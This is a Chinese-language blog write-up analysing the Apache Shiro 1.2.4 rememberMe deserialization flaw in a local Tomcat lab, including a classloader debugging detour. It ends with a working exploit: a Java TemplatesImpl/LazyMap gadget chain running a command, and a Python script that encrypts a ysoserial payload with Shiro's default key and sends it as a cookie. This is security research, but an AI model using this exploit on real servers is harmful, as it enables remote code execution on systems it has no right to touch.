shiro-1.2.4反序列化分析踩坑

原文:http://w4nder.top/?p=410

环境搭建

github上下载源码,配上tomcat运行shiro-web

shiro-root pom.xml

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!--  这里需要将jstl替换为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

shiro-web pom.xml

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.38</version>
    <scope>provided</scope>
</dependency>

反序列化

shiro在cookie的rememberMe中存放密钥加密的序列化数据,而1.2.4中的key是默认不变的,所以导致能任意修改cookie反序列化

encrypt

登陆时勾选rememberMe,调用栈

DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
  ->AbstractRememberMeManager.convertPrincipalsToBytes()
  ->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie

CookieRememberMeManager.javarememberSerializedIdentity()#156放入cookie
图片

key默认是

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

decrypt

用ysoserial的URLDNS测试一下,删掉session,替换rememberMe,顺着decrypt函数往上找,打个断点

图片

部分调用栈

图片

getRememberedSerializedIdentity读取cookie并base解码

图片

返回加密的序列化数据,跟入convertBytesToPrincipals

图片

然后对序列化数据解密,在deserialize中触发readobject()

图片

dnslog

图片

commons-collections:3.2.1 无法利用的原因

然后可以根据环境选择利用链,不过这里无法使用commons-collections:3.2.1

先简单看一下反序列化流程:

由readobject到readobject0,在switch中调用readOrdinaryObject

readOrdinaryObject(boolean unshared)方法读取类描述信息

图片

其中readClassDesc返回一个ObjectStreamClass对象desc,它包含类的名字和序列版本号一些基本信息,如图

图片

对desc进行实例化生成obj实例

图片

然后在下面readSerialData就是具体读取序列化数据的内容,然后判断有没有重写readObject函数等等

图片

图片

现在进入readClassDesc具体看一下,switch分支进入readNonProxyDesc,主要看resolveClass这个函数,当前调用栈

图片

ClassResolvingObjectInputStream.resolveClass()

图片

这里需要注意这个resovleClass是重写父类ObjectInputStream的

图片

原本的resolveClass是这样的

图片

前面说过readClassDesc执行后会对其返回的结果进行实例化,那么这里resolveClass就是通过反射获取类具体实现的函数,不过ClassResolvingObjectInputStream使用的是ClassUtils.forName而不是Class.forName

先跟入ClassUtils.forName,这里首先使用了THREAD_CL_ACCESSOR.loadClass类加载器,这里手动F9就会发现fqcn变成了

[Lorg.apache.commons.collections.Transformer;

图片

[L是一个JVM的标记,说明实际上这是一个数组,即Transformer[]

跟入loadClass,在这里,两种方式加载类,会发现cl.loadClass抛出ClassNotFound异常,而使用正常的Class.forName()却能正常加载,为什么

图片

踩了很多坑,下面简单说一下

先继续进入loadClass,调用WebappClassLoaderBase.loadClass(),它首先会先尝试从本地cache中加载类,找不到就会从父加载器URLClassLoader中加载

http://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/loader/WebappClassLoaderBase.html#loadClass(java.lang.String)

图片

从图中百度翻译可知...当本地cache或存储库中均无时,则通过父类加载器URLClassLoader.loadClass()加载(这里的WebappClassLoaderBase文件就用到最开始环境搭建那一块加载的tomcat-catalina了)

首先先进入findLoadClass0,从本地读取

图片

图片

this.binaryNameToPath会将name转化成path的形式然后放到resourceEntries.get去加载,但是这里的path是

/[Lorg/apache/commons/collections/Transformer;.class

怎么可能能找到正常的类呢(后面几个函数也是类似如此)
图片

在本地找不到那就要使父加载器URLClassLoader来加载了,838行(到了这一步基本上跟普通的Class.forName一样了,只是加载器变成了URLClassLoader)

图片

然后跟到这里,当前name还是数组形式

图片

继续往下调试的时候发现这个name的数组特征被消除了

图片

一路debug,到URLClassLoader这里,尝试从URLClassLoader加载器中获取

org/apache/commons/collections/Transformer.class

图片

但是返回结果却是null,因为path虽然正常,但是可以看一下在URLClassLoader加载器中包含的path,发现当前的类加载器URLClassLoader中没有commons-collections-3.2.1.jar

图片

所以会抛出ClassNotFound的异常

图片

这是因为:

Tomcat和JDK的Classpath是不公用且不同的,Tomcat启动时,不会用JDK的Classpath

这里如果给他添加一个包路径

Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:/C:/Users/xc/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));

可以发现成功加载
图片

所以并不是因为ClassLoader.loadClass不能加载数组,如这个java原生的数组就可以

图片

而是因为:

  1. 数组形式会使得shiro想尝试从本地加载时,path也被赋上数组标识,导致无法从本地jar包中正常获取。
  2. 而URLClassLoader中是因为Tomcat和JDK的Classpath的不同,导致即使path正确,也无法找到对应class

如果这里把URLClassLoader替换成ParallelWebappClassLoader就不会报错了

图片

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91

3.2.1 payload

这里使用了这位师傅的利用链

java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
	-> TiedMapEntry.hashCode()
	-> TiedMapEntry.getValue()
		-> LazyMap.get()
		-> InvokerTransformer.transform()
			-> java.lang.reflect.Method.invoke()
      ... templates gadgets ...
      -> java.lang.Runtime.exec()

因为不能使用transformer数组,所以需要使用javassist技术还原字节码,也就要想办法触发TemplatesImpl.newTransformer()
这里还是选用InvokerTransformer,参数为

input=TemplatesImpliMethodName=newTransformer

现在想办法触发InvokerTransformer.transform(),有两种方法:

  1. lazyMap.get
  2. TransformingComparator.compare

但是TransformingComparator在低版本的CommonsCollections3.2.1中还没实现Serializable接口所以无法序列化,那就LazyMap.get吧

缝合一下,poc:

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap,templates);
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove(templates);
        setField(transformer, "iMethodName", "newTransformer");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

也可以用https://github.com/wh1t3p1g/ysoserial

#coding:utf-8
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value

if __name__ == '__main__':
    payload = dnslog('calc')
    print("rememberMe={}".format(payload.decode()))
    cookie = {
        "rememberMe": payload.decode()
    }
    requests.get(url="http://localhost:8091/samples_web_war/", cookies=cookie)

图片

参考:

https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://blog.zsxsoft.com/post/35

posted @ 2021-03-09 23:07  W4nder  阅读(539)  评论(0编辑  收藏  举报